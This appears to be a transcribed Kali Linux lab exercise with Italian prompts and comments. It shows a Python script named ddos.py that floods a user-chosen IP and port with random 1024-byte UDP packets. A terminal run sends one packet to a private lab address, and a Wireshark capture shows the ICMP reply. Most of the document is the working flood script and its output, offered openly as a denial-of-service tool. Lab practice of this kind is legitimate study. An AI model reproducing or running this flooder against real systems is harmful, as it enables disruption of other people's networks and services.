

```
kali@kali: ~  
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GNU nano 7.2 ddos.py  
import random  
import socket  
  
def ddos():  
    pacchetti = random._urandom(1024)  
    for x in range(numero_pacchetti):  
        s.sendto(pacchetti, target)  
        print("#",x,"- UDP inviato\n")  
  
indirizzo_ip = str(input("Inserire IP target:"))  
porta = int(input("Inserire porta:"))  
numero_pacchetti = int(input("Inserire numero pacchetti da inviare:"))  
  
try:  
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
    target = (str(indirizzo_ip),int(porta))  
  
except:  
    s.close()  
    print("[!] Error!!!")  
  
ddos()
```

Netcat

```
(kali@kali)-[~]  
$ python ddos.py  
Inserire IP target:192.168.32.101  
Inserire porta:1234  
Inserire numero pacchetti da inviare:1  
# 0 - UDP inviato
```

Wireshark

Capturing from Loopback to

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No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.32.100	192.168.32.100	ICMP	590	Destination unreachable (Host un

Frame 1: 590 bytes on wire (4720 bits), 590 bytes
Ethernet II, Src: Xerox_00:00:00 (00:00:00:00:00:00),
Internet Protocol Version 4, Src: 192.168.32.100,
Internet Control Message Protocol
Data (520 bytes)

0000 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 c0
0010 02 40 6b d9 00 00 40 01 4a 0b c0 a8 20 64 c0 a8
0020 20 64 03 01 0d e6 00 00 00 00 45 00 04 1c 60 28
0030 40 00 40 11 14 8f c0 a8 20 64 c0 a8 20 65 8e 97
0040 04 d2 04 08 c6 33 94 21 a3 65 5e 4a 0b 59 84 b3
0050 eb 3b 56 79 93 4e 86 79 50 89 da cc fc e4 10 10
0060 aa d0 d7 70 19 77 e6 ef 58 ac 98 a4 21 e8 c4 90
0070 07 7b e1 99 30 42 2e ac 4f d5 1f c9 d2 f1 85 2c
0080 95 c8 b4 dc ce ef 3f bf fb 99 5e 5f 79 ae 60 19
0090 fe 13 ab b1 d8 39 d9 dd 87 09 fa 6c 74 97 a0 8e
00a0 35 5d 7f 89 09 d9 73 b8 72 f9 cb 43 e8 0e 91 f0
00b0 8a d9 ed 49 47 e0 e3 dd a2 fe d2 d0 09 b0 0e 14
00c0 fd 01 8e 7b 50 59 3c bc 4d 5c db c5 7b 9b 69 0b
00d0 6f e1 56 ad 84 a3 5b be 27 7b a5 45 40 e0 d9 ed
00e0 aa f9 b4 cc 0e 37 d6 9f a9 f1 4d 7f 7e 30 a7 dc
00f0 84 32 a7 ef 6c 18 e5 21 85 74 10 4b ac 97 2d cf
0100 12 df fb 1c 7a 5c 33 8f df f2 e4 ff 81 d3 6d de
0110 86 a6 8d fa 5d 57 79 fd 2f 31 24 f2 b6 4a 7f 8c
0120 ef f2 11 0b 70 f9 c5 27 eb 82 5e 10 3d 9a c0 13

Loopback: lo: <live capture in progress> Packets: 1 · Displayed: 1 (100.0%) Profile: Default